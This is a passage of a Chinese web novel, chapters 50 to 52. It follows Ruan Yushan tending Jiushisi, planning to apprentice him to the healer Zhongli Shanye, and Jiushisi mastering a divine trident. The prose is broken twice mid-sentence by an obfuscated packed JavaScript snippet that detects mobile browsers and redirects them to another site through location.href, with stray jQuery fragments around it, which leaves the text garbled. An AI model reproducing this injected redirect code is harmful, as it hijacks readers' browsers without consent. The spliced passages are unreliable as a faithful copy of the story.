他一双恨恨的眼珠子看完左边看右边,还没想好怎么发作,突然便被阮玉山箍紧了抱住,一下一下摸着后背安抚:“今早便打发人去外头加急给你做了身两身新衣裳,估摸着明晚就能做好送来。” 阮玉山说完,刻意顿了半刻,等着九十四的反应。 见九十四乖乖窝在怀里,便知自己这是急中生智把人哄好了,又接着叙叙低语:“我这就去找根新腰带来——亮色的,管漂亮。” 谁知正要撒了手起身,又被九十四一把逮住袖子,压根起不来。 阮玉山没来得及开口问怎么了,便听九十四靠在他胸口,拽着他的腰往自己身上压了压:“再抱会儿。” 这并不是商量的语气。 阮玉山俯身回去,严丝合缝圈住九十四。 九十四逮住他的胳膊,又往里圈扯了扯:“抱紧点。” 阮玉山是真怕把人抱碎了。 统共那么些日子,他还没把人养出二两肉,行动都不敢用力,只觉得此人单薄得骨头都是脆的。 “阮玉山。”九十四又喊,“抱紧。” 阮玉山苦笑:“你这是什么毛病?当心骨头给抱断了。” 九十四似是对这句话认真斟酌了少倾:“应该不会。” 阮玉山只能再度圈紧。 九十四在他怀里变成了窄窄的一个人,当真身体软得像没长骨头,不管阮玉山圈多紧,九十四顶多合一合胳膊耸一耸肩,像巴不得两个人中间不留一点空隙才好。 没过多久,阮玉山便知道,九十四这么要求当真是有自己的道理。 就这么一小会儿,被他抱得紧紧的,九十四一闭眼睛就睡着了。 原来越逼仄,才能越安心。 阮玉山见人睡了,便试着松手,想去打水给九十四擦洗擦洗,顺便换身衣裳。 哪晓得胳膊一松开——哪怕是还抱着,九十四人没醒,眉头先皱起来,鼻子也半是威胁半是茫然地发出一声:“嗯?” 阮玉山又得紧密地抱回去。 他一动不动地抱着九十四,瞅着怀里这人。 九十四不仅抱在身上是轻的,走路是轻的,连睡着的呼吸也是轻飘飘的。像野外那些小猫小狗儿、小狐狸小狼似的,闭目起个养神的作用,只要感觉到危险,随时准备一睁眼睛撒丫子逃跑,永远睡不了一个好觉。 此时把人在双臂间圈得细条条的一个,阮玉山又觉着这人像条小蛇,冰凉凉滑溜溜的,喂多少饭都是瘦长的身子,稍一松手就趁人不防跑了——兴许跑的时候还要悄么声儿咬你一口,待你回过神来发现手上两个圆咕隆咚的牙印时,又瞧见这人出去闯了一身伤回来——你刚要开口责怪,他又从自己身上叼两样宝贝出来,一脸神气地告诉你这是他亲手打到的猎物,半点不觉得自己有错。 若当真生了嫌隙,又要像现在这样缠着不让走,分明是在讨巧,却非要让你觉得是赏了恩赐。 心口不一的人总是低头时也非要抬着头。 50.膏药 第二天九十四醒得早。 他一睁眼,先看见内侧的床栏。 随后昨夜的事在脑子里席卷而至。 他从被子里抬起手,先盯着手发了会儿呆,鬼使神差地,慢慢将指尖放到自己鼻下。 ……只有皂角的香气。 头顶忽地响起一声轻笑:“闻什么?” 九十四这才察觉自己后背还靠着堵墙。 一扭头,原来靠的是阮玉山的胸口。 他顺着阮玉山松垮的领口往上瞧,发现这人就侧卧着躺在他身后,一只手支着脑袋,眼里神采奕奕——阮玉山只要醒着,似乎永远都这么精神,天塌下来也就是一阵风,落到肩上扛着就能走,再大的祸事也吹不皱他阮玉山的眉头。 九十四问:“你不练枪?” 阮玉山说:“昨晚练过了。” 九十四不记得:“什么?” 阮玉山笑了一下,正经道:“你自己瞧瞧这是什么时辰——我早练完了。” 九十四这才朝窗外看。 蝣人对时间的认知很模糊,关押他们的地牢里没有滴壶,没有香漏,更没有日晷。 以前教九十四认字的老头子倒是也同他讲过天干地支,不过那老头也是自个儿从书上看下来,一知半解地记在脑子里,再模模糊糊地传授给九十四,这个过程中真正能让九十四学到的东西,就得再打个对半。 好在九十四本就不奢求太多,他请老头子教书的原本目的,只是能听懂中原话,看懂中原字就够了。 老头子照本宣科教给他天干地支和时间年月的概念,九十四死板地记在心里,在去蝣人斗场时便抓紧机会琢磨场上那个巨大的日晷,别的时候便琢磨太阳照射的方向。 日子久了,渐渐地也就摸透时辰怎么算了。 这会子看太阳朝向,该是辰时三刻左右。 他原以为是自己醒得很早,原来只是这一夜过得太快。 九十四甚至记不得自己是否来得及做梦了。 他瞅瞅阮玉山衣冠不整的身体,满不相信对方的话:“衣裳也没穿,怕不是没练?” “荒唐!”阮玉山反驳他,“外衫怎可上床?” “你昨儿不就穿着坐上床来了?” “我昨儿是为了什么匆匆忙忙坐上床来?” 九十四不吭声了。 阮玉山忽然攥住他的右手,问道:“几时变的?” 九十四先没明白这话指的什么,顺着阮玉山的动作看向自己手背,才知道阮玉山是问那块先前在目连村被肉藤蛰过随后泥质化的皮肤。 九十四手上这块皮肤阮玉山之前一直没发现,一来是因他二人这几天遇到的都是事儿赶事儿的情况,几乎没多少闲工夫歇下来仔仔细细检查身体;二来,也是最重要的原因——九十四太白净了,受伤的地方又小,不仔仔细细地摸过检查过,压根瞧不出手上皮肤有明显变化。 阮玉山则不同。 他身体受伤的范围比九十四大得多,并且由于体内没有那罗迦血液压制的缘故,皮肤泥化的范围呈现隐隐扩散的趋势。 昨夜沐浴时,九十四被他拎着坐在他身前,他腰间的伤口又绑了绑带,洗完澡阮玉山先九十四一步穿好衣裳,倒是把九十四瞒得滴水不漏。 “不记得了。”九十四说,“是离开那天发现的。” 阮玉山一想,时间上跟自己的伤差不多。 原本他连夜带着九十四回到燕辞洲只是为了休息,喘口气休息好了,还要离开此处去找另一个人寻求医治身体的法子。 目连村的疫灵非同等闲,至今他们也无法确定是否将其治死在原地。 而这身上的伤说大不大说小不小:往小了说,二人身体出现异化那么多天,只要不去注意,便感受不到任何异常;往大了说,这伤口毕竟由一个为祸一方的疫灵造成,这些日子以来一直在悄悄扩散,如果忽视,时间久了,阮玉山也就从里到外彻底变作个傀儡泥人了。 至于能医治这些诡怪杂症的人,在阮玉山这里,自然首先想到的便是那一位——钟离善夜。 奈何昨日九十四遇伏,若是为了先治病忍这一口气,等病好了回来再收拾那个什么齐且柔便罢了,偏偏昨夜九十四跟他两个人一对账,发觉这齐且柔还揣着点关于盂兰古卷的大东西,还真不能让人跑了。 否则在这偌大的燕辞洲,明里暗里的交易成天流水席似的在地界上过,齐且柔的身份阮玉山目前也只能在心里猜个大概,尚不能完全确定,那点宝贝,一旦流入黑市,今天姓齐,明天就保不准在谁家里了。 事情便变得迫在眉睫起来。 他一把揪住九十四的手掌:“欸。” 九十四正盯着阮玉山握住自己的那只手出神,听阮玉山叫他,刚想开口问“怎么了”,眼珠子一定,再一转,便木然地仰起脸道:“嗯?” 阮玉山抿着嘴,装看不懂,只盯着九十四笑。 九十四半张脸仰起来片刻,见阮玉山是真给脸不要脸,遂一挑眉,准备在心里没收阮玉山这辈子拿嘴挨他脸的资格。 哪晓得还没来得及把脸低下去,阮玉山那张刚才还在半臂远的高鼻剑眉的脸,就这么黑压压地逼近下来。 九十四猝不及防,被捧着下颌亲得头昏脑胀。 两个人再分开时,他脸上被莫名其妙地扎红了一圈。 九十四后知后觉感到火辣辣的一阵轻微痛感,皱着眉头看向头顶的阮玉山,蓦地伸出两只手,一只捧着阮玉山的脑袋,另一只在阮玉山脸上雷厉风行地摸索着。 阮玉山的脑袋被他像个核桃似的盘来盘去,不禁一头雾水:“做什么?” 九十四肉眼看不清怎么回事儿,又把头抬起来凑到阮玉山下巴去看,这才看到方才用手摸着的那些细小的胡茬。 阮玉山探着个脖子任他又捧又摸,瞧九十四煞有介事的神色,一时间还有点不敢多嘴,见九十四摸完了只是盯着他蹙眉研究,便试探着开口:“到底怎么了?” 九十四瞅阮玉山一眼,又瞅阮玉山的下巴一眼,神情凝重,突然问道:“你脸上长刺了?” “……” 阮玉山一下子就懂了。 ——九十四是不长胡子的。 非但不长胡子,除了那一头波段打绺似的卷发外,九十四浑身其他地方都不长毛,这是阮玉山跟他认识没两天就了解得清清楚楚的。 至于胡子这东西,就算九十四不长,饕餮谷其他人也会长,远了不说,光是谷主就留着一把秀气的长髯。 可九十四没见过胡茬。 他还不知道蝣族以外许多男人一天不刮下巴便会长出短短的胡茬。 阮玉山问:“扎疼你了?” 九十四刚想摇头——毕竟这点痛算不上什么,跟他以往在饕餮谷挨的鞭子甚至是镣铐挂在手上磨出的痛相比,实在是不值一提。 可问题在,这脸上的痛有点绵长,竟有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439740|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短时间内不会消散的意思。 这就跟他以前的经验相悖了。 过去在饕餮谷,甭管受了什么伤,哪怕是挨鞭子挨拳头,以蝣人的体力,当下痛过便通过了,可阮玉山脸上一片连头都没怎么冒的刺竟然会把他扎得久痛不消。 “奇了怪了。”他低声嘀咕。 阮玉山捏住他的下巴:“我看看。” 九十四又是一个抬手的动作,要他别管:“我没事。” “没事个屁!”阮玉山摸住他后颈把人摁到自己眼下,细细检查过后起身翻箱倒柜去找龙脑白凤膏,找到了又坐回来,打开盖子,用指腹慢慢化开。 九十四撑着上半身凑到阮玉山手边,拿鼻子嗅嗅,一股清凉的香气直冲脑门。 他一闭眼,先肩膀抖擞了两下,再睁开,醺醺然道:“这是什么?” “膏药。”阮玉山说。 九十四倒是知道膏药。 这东西以前教他认字的老头子也说过,不过老头手上没现成的,就抓了把湿泥巴给他看,说:“膏药跟这玩意儿样子差不多。” 如今看了,九十四心想,那还是差挺多。 光颜色就一个天上一个地下。 一个透亮如玉,一个乌漆嘛黑。 一个像自己,一个像阮玉山。 “怎么用?”他又问。 阮玉山嗤笑:“早前不是给你用过?” 九十四先愣了愣,回想起之前在村子里自己的手被竹子扎伤那次,严肃道:“我知道那个,那是金疮药。” “哟,”阮玉山挑眉,“可以啊,还晓得金疮药。” 九十四认为他有些狗眼看人低了,便道:“我以前在谷里,也给百十八用过清创药。难不成你以为蝣人就不受伤?” “蝣人这不正受着?” 阮玉山化着药,跟他拌嘴的同时抽空瞧他一眼,果然这人一张脸虽板得死死的,眼神却很尖锐,一副时刻训诫阮大老爷,督促低劣的阮大老爷对待他高贵的蝣人同族持谨言慎行的态度。 他便接着问:“你既用过,又何必问我?” “那些都不是膏药。”九十四指着他手里的羊脂玉罐子说,“你方才说了,这才是膏药。” 阮玉山知道他的书又念到死胡同里去了:“不管是金疮药,还是清创药,只要是这模样,非水非粉的凝在一起,都叫膏药。” 九十四说:“当真?” “骗你做什么。”阮玉山从握着罐子的那只手里伸出食指,将就着九十四这会儿正凑在自己手边,直接把人下巴挑起来,“别动,我给你擦药。” 九十四仰着头,虽然脑子里相信了阮玉山的说辞,但心里仍旧把膏药同以往用过的区分开来,无可避免地保持着以前的想法,总认为膏药是自己难能一见的稀罕物。 因此当冰凉幽香的龙脑白凤膏涂到他脸上时,九十四慎重得脖子连同身体僵成一块铁板,是动也不敢动,只能使劲皱皱鼻尖,企图把这从未见识过的香气统统吸进鼻子里,继续醺醺然。 阮玉山倒是没工夫去探索他心肠里那些小疙瘩,只一边涂着九十四被扎红的地方,一边考虑九十四身体另一个地方。 半晌,他实在放心不下,还是决定开口。 “我说,”阮玉山装作漫不经心,“昨天我指上力道不小,你如今可有不舒服?” 九十四正沉迷于龙脑之香,整个人微醺着,听到阮玉山这话,睫毛骤然一颤。 51.物色 九十四脸上不藏事儿。 至少在阮玉山面前是这样。 阮玉山一看他这神情,心里就门儿清了。 不吭声是因为没有不舒服,迟疑了是因为确实身体还有感觉。 那既然有感觉,又不是不舒服——阮玉山垂眼低笑,自己先前的推断果真没错。 那道刺青是在方方面面加重他对九十四的作用。 不过他很懂得点到为止,毕竟更多的事情得九十四自己琢磨。 否则以九十四的倔性,他要是把道理一股脑全送进此人耳朵里,九十四是既不会听,也不会信。 非但不听不信,还会甩甩脑袋把他的话全从耳朵里抖出来,不屑一顾,扭头就走。 于是阮玉山当即掉转了话头:“你可知为何昨日在大街上,齐且柔能一眼认出你是蝣人?” 九十四正被阮玉山上一句话带得出神,这会子思绪又一榔头跑到另一个问题上,便下意识道:“刺青?” 阮玉山不高兴:“别什么都怪刺青。” 九十四一听,这人还给刺青申上冤了,也挑着眉毛跟阮玉山抬杠:“怪就怪了。” 阮玉山能怎么样? 阮玉山咽下一口窝囊气,当作先前的对话没发生,接着道:“那你再想想?” 其实刚才说完话的当儿,九十四脑子已经回过弯来,明白齐且柔能在大街上一眼认定他是蝣人绝对仅非刺青的原因。 毕竟阮玉山将他从饕餮谷买走那日,他在衣棚里换衣裳,棚子里许多围观者中也不乏有行走江湖的玄者,可他们基本都没有在第一时间认出他是个蝣人,而是在阮玉山故意将他后肩处的刺青露出来后,才意识到他的身份。 可见九十四身后这个刺青,是没有那么大的能力一出现就被玄者感知到的。 九十四思索着,不知不觉从被子里探出一只脚来:“玄气?” 阮玉山瞥见他那只脚,忽想起了什么,转身换了个朝向,背对着九十四,手朝被子里伸进去:“很接近了。” 他先无声无息拍了拍九十四的膝盖,再顺着小腿一路往下摸,摸到脚腕,一把抓住。 果不其然,九十四条件反射就要把脚缩回去。 “别动。”阮玉山低头,用另一只手量着九十四的脚掌,“早前说给你做双鞋,老忘了量尺寸。” 九十四说:“昨天那双很好。” 阮玉山摇头:“不配你的新衣裳。” 九十四一听,把脚朝阮玉山伸过去了些。 又听阮玉山道:“是玄场。” 九十四:“玄场?” 阮玉山放慢了语速,用九十四听得懂的话耐心解释:“通俗来说,便是每个人修炼的境界。修炼得越好,境界便越高。千百年间一直有传闻,说玄者玄境修行破了第五阶‘突天’,便能飞升成神。可那么多年,整个娑婆也就出过一个神,还是个半神。” 九十四鲜少听到这些东西,什么修行,什么飞升,那是连饕餮谷教他认字的老头都一窍不通的玩意儿,如今乍然听阮玉山说了,便不由得聚精会神:“谁?” “叫白断雨,是个大夫。”阮玉山原本无意在玄境之事上同九十四延展出这许多,这些话同他们在交谈的内容并无太大关系,但见九十四很感兴趣,他便也乐得多说几句。 “白断雨虽说是娑婆唯一的半神,可我看也不过是个招摇撞骗的半壶水。这许多年没人见他飞升上过天,而是好端端地活在世上,吃五谷杂粮。唯一不同的是活得久些,有个两三百岁。”阮玉山说到这儿,心思活络起来,有意引导道,“然而论长寿,行医者自来是比普通人更懂如何延年益岁,光论活岁数的话,这世上有人活得比他更久。” 九十四果真问:“有人能活得比两三百年更长?” 阮玉山便笑:“你想知道?” 九十四自然想知道。 这世间贫穷者渴望财富,残缺者奢求健全,孤独者贪恋热闹,一生短命的蝣人,怎么会不好奇如何苟活。 “叫钟离善夜。”阮玉山量完了九十四的脚,又转回来,将此人说得玄乎其神,似乎很是希望九十四能对其有个美好的印象,“也是个医者。他在这世上少说也活了有三四百年,容貌却停留在而立之岁,我恰巧同他有些交情,你若感兴趣,不日我便带你去拜访拜访,若有机会,让他教教你怎么活得久些?” 这可不是阮玉山一时兴起。 他昨儿思前想后一整夜,越想越觉得带九十四去找钟离善夜是一件十分紧迫的事。 不单单是为了两个人身上的伤,此外还有两个更重要的打算。 想到这儿,他便问:“你跟齐且柔过过招,认为他功夫如何?” “不好。”九十四摇头,“弱柳扶风,细皮嫩肉。” “这词儿不是这么用。”阮玉山认为九十四有些多少夸赞齐且柔外貌的意思,很快便把此人想象成了第二个席莲生,顿时感觉自己立马就能上街去把人认出来,“越是高阶的玄者,越不可貌相。按常理来说,高阶玄者完全可以在低阶玄者面前掩藏自己的玄场,使周围所有比自己境界低的玄者察觉不出他的功力。” 好比阮玉山,如今修为突破四阶,只要他愿意收敛玄息,走在大街上,整个娑婆都不会有几个人能分辨出他是一个玄者。 “你的意思是,我是玄境不够,在街上被齐且柔察觉出来了?”九十四一点就透,“高阶隐藏玄气,低阶便察觉不出;但无论低阶玄者如何隐藏,在高阶眼中,都是洞若观火?你认为齐且柔的境界很高?” “不一定是他。”阮玉山看九十四理解了自己的意思,接着道,“你同他交过手,他不敌你,甚至为了从你手上活命还愿意把古卷交出来,足以证明你半点没有看走眼。” 九十四莫名其妙被顺了一下毛,不知不觉心中生出些得意,只是面无表情地低下眼珠,做出一副不在意的模样:“哦?” “你的眼光不会出错。”阮玉山又给他顺了一下,看自己把他夸高兴了,便换着花样地明里暗里地哄道,“他没什么功力,但能认出你,这说明他身边一定有境界不低的高手——你以为你是什么小角色?堂堂蝣人,天赋异禀,玄力强大,万里挑一。岂是随随便便一个低阶玄者就能在大街上把你看透的?所以,比起齐且柔,我们到时候更应该提防的是他身边的人。” 阮玉山顺毛的功夫了得,让九十四浑身除了头发以外压根不存在的毛被他顺得油光水滑。 于是九十四一本正经地问:“那我是什么玄境?” 阮玉山微微一笑:“你没有玄境。” 九十四本就摆不出好颜色的脸一下子拉下来。 阮玉山不动声色按住他的手:“可这并不能说明你不厉害。” “阿四,你是先天的好苗子,只是后天条件不足,无法规行矩步地学习修炼,来不及打下根基。只要有机会,随便学学练练,便是人中龙凤。”阮玉山抛砖引玉,“因此,你更需要一个好师父,以免浪费你一身的天赋。” 九十四的眼神变得奇怪起来。 以前在饕餮谷,驯监们缺钱花了,要打他钱袋子的主意时,也是这个语气。 区别在于,驯监面前的九十四看破不能说破,还得乖乖地奉上自己的钱袋子,而在阮玉山面前,他开口就问:“你想做我师父?” 阮玉山抬手,一个打住:“非也。” 他想做的可不是师父。 昨夜阮玉山方方面面都考虑周全了。 齐且柔的身份未知,但一个文弱公子,身边能有厉害的高阶玄者,足以证明此人背景不简单。 燕辞洲鱼龙混杂,来这里的各个顶着各式各样的名号,出去了要么非富即贵,要么是江湖大能。 阮玉山就算要杀齐且柔,也得杀得明明白白,知道齐且柔究竟睡在哪家的坟,他日会化作哪家的鬼,又被哪处府邸立了牌位。 他需要知晓齐且柔的身份,齐且柔却不需要知晓他的身份。 暗中杀人这种事,阮玉山便不图留名立威了,最好悄无声息杀了就走,免得有人上门寻仇。 既然如此,那他一身的看家本领便教不得九十四。 否则等九十四把阮家枪法学了,再去把齐且柔杀了,验尸的上门一看,齐且柔道道伤口都写着“红州城阮玉山独门绝学”,那还了得? 更打紧的是,阮家的功夫,九十四学不得。 尤其是天下绝学阮家枪。 倒不是说九十四天赋不足或是别的什么缘故,而是这套枪法原本就是阮家先祖数百年前琢磨出来杀蝣人的。 当时蝣人喜马战,善骑射,阮家的老祖宗们也是边关当土匪在马背上成名的练家子,蝣人用弓箭,他们就用长枪,招招都是把蝣人往死里克制的打法。 虽然如今日子不同了,别说骑马的蝣人,就是蝣族一整个人种,在娑婆也成了价值连城的稀罕物。 而这阮家枪虽然历经多年,也让一代又一代的阮氏子孙扬长避短,使得愈发精进。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443759|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可教给九十四,就算阮玉山乐意,九十四日后知道了也会膈应。 膈应都算轻的,阮玉山怕他到时候被九十四拿着枪当蝣人打。 这就划不着了。 又或者他坦白关于阮家枪的一切前因后果,让九十四自己抉择——这还不如把九十四拎到他阮家的鬼头林面前对人说:来,看看喜欢哪个木桩子,我把你头砍下来插上去。 阮玉山觉得自己脑袋得被驴踢了才会这么做。 因此他思来想去,在心里给九十四物色了一个师父。 “阿四。”阮玉山伸手去理九十四睡乱的长发,“我叫钟离善夜教你长寿的办法,如何?” 这便是他打算前去寻找钟离善业的第二个目的——天下神医,满鬼钟离半神断雨,要说目前除了彻底找到解除蝣人诅咒之外,还有什么法子能暂时延续九十四只剩两年的寿命,便只有找这二人试试。 顺便找钟离善夜教九十四点防身功夫。 同时让对方想点法子帮他把九十四身上的刺青解了。 虽说九十四后背这道刺青偶尔能给二人之间弄点情趣,可这东西长久地约束九十四到底不好。 他现在已经不担心九十四会毫无预兆地离开,那刺青也没必要强行留在九十四身上。 麻烦就在,现在这刺青,恐怕早已不是阮玉山想解就能解的了。 当初九十四在目连村刺穿那罗迦的心脏,那罗迦认了母,血契便作用于二人一兽,将他们三个连接在一起。 阮玉山和九十四同有玄气骨珠,血契的结印和分解尚可如常,现在蓦然加入一个那罗迦,还是只力量和血脉远超常人的异兽,加上那道刺青上起作用的本就是那罗迦的血的缘故,如今这血契,只怕是非同寻常的牢固。 不过这些也只是阮玉山的猜测。 他目前还没试过亲手给九十四解契,一是因为后续二人要解决齐且柔,阮玉山放心不下,需要随时感知九十四的方位和状态;二来,要解契,他得亲自对九十四动手,拿着刀子给九十四的身体划开一道口子。 如若解不开,那九十四白挨他一刀不说,伤口也会恢复得异常的慢。 阮玉山不想冒这个风险。 此事完全可以等燕辞洲这边处理完,去找钟离老头子商量商量。 凭钟离善夜当年对阮府的承诺,只要阮玉山说得动,便没有问题。 “这当然好。”九十四回答他,“只要能活着,谁教都可以。” “哦?”阮玉山聊着正事儿又准备顺便耍耍嘴皮子,“我当你们蝣人都不怕死。” “不怕死,不代表不想活。”九十四说,“这世间没一样东西值得我寻死,却有许多东西值得我好好地活。我又不怯懦,为何能活而不活?” 阮玉山望着他轻轻地笑,好像看见九十四身上永远有一股生生不息的浑然天成的傲气。 “你很瞧得起你自己嘛。” “是。”九十四并不认为这有什么不好,“我于我,自然高于一切。” 倘或一个人自己都觉得自己浑身不好,那同朽木又有什么区别? 人是不能看不起自己的,尤其是蝣人。 外界看不起蝣人,那些人的目光将他们的皮囊刺得千疮百孔,可他们坚硬的灵魂百毒不侵;然而一旦灵魂也开始自惭形愧,那人便会从里到外地烂出疮来,成为外界千千万万蔑视者的补给。 自视甚高的蝣人九十四遇到了同样自视甚高的阮玉山,因为比阮玉山更锋利更尖锐,便把阮玉山也磨出了一个口子,用来契合他满身的棱角。 受害者阮玉山对此很是自得其乐。 “既然如此,”阮玉山说,“钟离善夜教你活命,那再顺便教你些功夫,给你当老师,如何?” “老师……”九十四低眼琢磨着这个称呼,眸光一闪,问道,“他学识很渊博?” 阮玉山咳嗽一声,别开目光:“他不认字。” 九十四身板往后一退,险些认为阮玉山又耍他:“嗯?” 阮玉山决定再给自己撕开一个口子:“不过我在你身边,正好弥补他这方面的空缺。” 九十四沉默了一下,不管是在书上还是自己心里,都把拜师当作十分谨慎的终身大事,师父师父,一旦一锤定音,他这一生对待钟离善夜,既要尊师,也要敬父。 于是抛出第二个问题:“钟离善夜的脾性好相与么?” “……” 阮玉山决定把自己撕得四分五裂。 52.认主 九十四这个师是必须要拜的。 阮玉山早就打定主意了。 一个饕餮谷出来被打上烙印的蝣人,只要一刻不在他身边,都有可能会被人盯上。 今天是齐且柔,明天就会有张且柔李且柔,只要九十四还是个无依无靠的蝣人,就永远会被心怀不轨的人虎视眈眈。 他阮氏的身份倒是在天下人面前拿得出手,可偏偏不能让九十四沾上。 既然要有人给九十四的身份做背书,那除了自己,阮玉山就要找个全天下都不敢得罪的人。 这便是他要找钟离善夜的第三个目的。 天子尚且还要面对敌国,这满世界没人敢得罪的,也就一个钟离氏。 行医者自来到何处都为人所敬仰,白断雨虽也是神医,可脾性比之钟离善夜更有几分别样的古怪。 此人百年来奉行一个“三不医”的原则:买卖蝣人,乃忤逆天道毁众生法则者,此为一不治;大渝皇族楚氏,薄他爱徒,人神共愤,此为二不治;欺师灭祖,六亲不认者,薄情寡义,此为三不治。 举凡能身居高位的,谁家里不藏污纳垢? 若人人都胸怀坦荡如谢九楼,那早就天下大同了。 按白断雨的规矩,这世间大半达官显贵都踏不进他的门槛,哪怕是阮玉山自个儿,也没资格拜见他。 但与白断雨齐名的钟离善夜则不同——只要给钱,钟离善夜谁都治。 故而钟离善夜的名声和威望,在某些人群中,略胜白断雨一筹。 毕竟白断雨么,那些人够都够不到,再尊重也就是嘴上说说,钟离善夜不一样,这人是实打实地会给看病,还不论病人的品性道德。 谁若是连钟离善夜也敢得罪了,那最好祈祷自己这辈子都没买卖过蝣人,也不曾欺师灭祖,更不是大渝楚氏,这样兴许还能在白断雨那儿找第二条活路。 正因为阮玉山打定了主意,所以不管九十四乐不乐意,他都要赶鸭子上架,替人把这个师父给认了。 此后九十四身边不管有没有他,都不会是饕餮谷的蝣人九十四,而是钟离善夜的爱徒九十四。 面对九十四这些乱七八糟的小问题,阮玉山决定,管他黑的白的,都先说成九十四喜欢的。 他再次微微一笑:“此人脾性,最好相与不过。” 九十四问:“比之于你如何?” 阮玉山脱口而出:“好上万倍。” 九十四稍微认可:“那就是有一点点好。” 阮玉山:“哈哈。” 九十四想了想,还打算开口问点什么,就被阮玉山提前转移了话题:“你看那边。” 他顺对方手指看过去,只看到墙角那柄清光凛凛的三尖戟。 “这东西是神器。”阮玉山说,“既然你顺手把他从矿山带走,那想必是你跟它有缘。既然有缘,何不干脆让它认你作主?” 九十四说:“我不想做谁的主人。” “再不想不也做了?”阮玉山瞥了一眼在外头拿爪子扒门的那罗迦,“许多事情,怪力乱神,由不得你想不想。不信,你去问问它,看看神器是否已经认你做了主。” 九十四一脚往地上踩去,脚掌还没挨着地,被阮玉山一把攥住小腿:“穿鞋!” 九十四愣了愣,看着阮玉山握住自己小腿的那只手,忽然感觉那块皮肤热乎乎的。 阮玉山以为他又没憋好事儿,懒得废话,将他的脚放到自己腿上,拿了鞋袜给他套上。 套好了一只脚,还没放下去,九十四另一只脚已经搭上来了。 这脚搭得太过理所当然,透露着几分不把阮玉山当正经老爷看的意思。 阮玉山乜斜过去,发现九十四正一脸认真盯着他的大腿,搭上脚后还屈起膝盖,拿足弓在他腿上踩了踩。 这叫人很难不认为是九十四故意为之。 “做什么?”他拍了九十四脚背一下,“昨儿用手没摸够?” 九十四不吭声,脚不动了,脚掌静静感知一层光滑锦缎下传来的阮玉山紧绷的皮肤的温热。 他突然看了看窗外。 是天开始冷了,人才会总想往温热的地方靠。 兴许到了夏天就好了。九十四心想。 阮玉山替他穿好了鞋,九十四伶俐得像猫儿似的轻脚跳下床,抖了抖衣裳,再走向墙角那柄三尖戟。 这是一把很长的武器,先前在矿山中风沙混乱,九十四和阮玉山都没细看,如今走近了一比对,才发现这三尖戟比阮玉山还高出一头多,足足七尺来长,光是刀头便有两尺,整个刀柄几乎与九十四等高。 九十四背着手,绕着这三尖戟走了两圈,怎么也想不出这东西认自己做主人的情形。 神器有神威,九十四还没拿手挨上去,已经感受上刀头上闪烁着千年杀气的寒意。 哪怕不说这些虚的,就光说个头。 以个头论高低的话,这东西认他做主人,就仿佛他认乌格纳做主一样。 乌格纳是饕餮谷山沟里的一只大马猴。 趁夜摸进谷里偷小蝣人吃时总佝偻着背,背影比那罗迦个子还小些。 九十四也险些被他偷去过。 然后乌格纳就在九十四的手里成为了那天小蝣人的宵夜。 这世上人总是互相吃的,不被当作人的东西也会互吃。 九十四心里闪过了无数个奇形怪状的蝣语比喻,最后还是一扭头瞅着阮玉山:“我怎么问它?” 阮玉山说:“你怎么问我,就怎么问它。” 九十四心里又跑过一串不甚动听的蝣语。 他把头转回去,边抬头去握住刀柄边问:“我是你主人吗?” 话音将落,三尖戟蓦地从他面前飞了出去。 九十四下意识就伸手去抓。 岂知这回三尖戟早有预备,在九十四的手即将抓到自己尾部那一刻巧妙地转了个弯,要往门外去。 九十四眼疾手快,一个回身箭步向门口作势要拦。 ——倘若这把三尖戟始终沉默地立在墙角,那么九十四必定没有丝毫要做它主人的意思;然而三尖戟对于他普通的询问做出了激烈的反应,仿佛很不愿屈服似的,那么这个主人九十四就非当不可。 阮玉山靠在床头,抱着胳膊,一副作壁上观,并且计谋得逞的神色。 那边三尖戟出不去门了,眼瞧着又要被九十四逮住,简直慌不择路,打着旋跟阵风似的往里钻。 哪晓得钻的劲头过盛了些,竟表现得刹不住脚,直朝阮玉山心口刺去。 九十四心一沉。 阮玉山倒像是早有预料,坐在原地八风不动,见九十四似是望着刺向他的刀头怔住了,便高声道:“借物打物!” 九十四猛地回神,眼角余光率先瞥见桌上一尊晶莹剔透的缠枝纹薄胎玉盏。 他一掌拍到桌上,将玉盏从桌面削起来,再凝力到掌心,将其打向三尖戟的刀尖。 一切以迅雷不及掩耳之速。 只听铮然一声锐响,玉盏碰上三尖戟刀刃,顿时在半空爆破,当场四分五裂,碎片飞溅。 七百两一个的薄胎玉盏,没了。 而三尖戟的刀尖因这一撞,被打断了轨迹,发出细微的震颤和尖鸣声。 玉盏带着九十四才修养一夜后凝聚出的为数不多的一身玄气,将它直直撞向一旁墙壁。 九十四后一步赶来,横跨过去挡在阮玉山身前,这下是半点也不客气,一脚踩住三尖戟刀柄,再不给对方挣扎的余地,缓缓点了个头,漠然地判决道:“我是你的主人了。” 三尖戟刀上清光微微闪烁,最后暗淡下来。 阮玉山觉得这事儿有意思。 他气定神闲地坐在九十四后头,拍拍九十四的胳膊,从对方身后歪了个脑袋出来:“它要刺也是刺我,你急什么?” 九十四眨了下眼,低头望向阮玉山。 对着对方那双笑吟吟的丹凤眼,他也想不出答案。 阮玉山接着问:“怕我死?” 九十四也歪头,像是在自言自语:“怕么?” 阮玉山笑:“担心我?” 九十四困惑:“有么?” 阮玉山:“想我好好活着?” 九十四越听越不明白了:“是么?” 阮玉山:“喜欢我?” 九十四拧着眉毛陷入沉思。 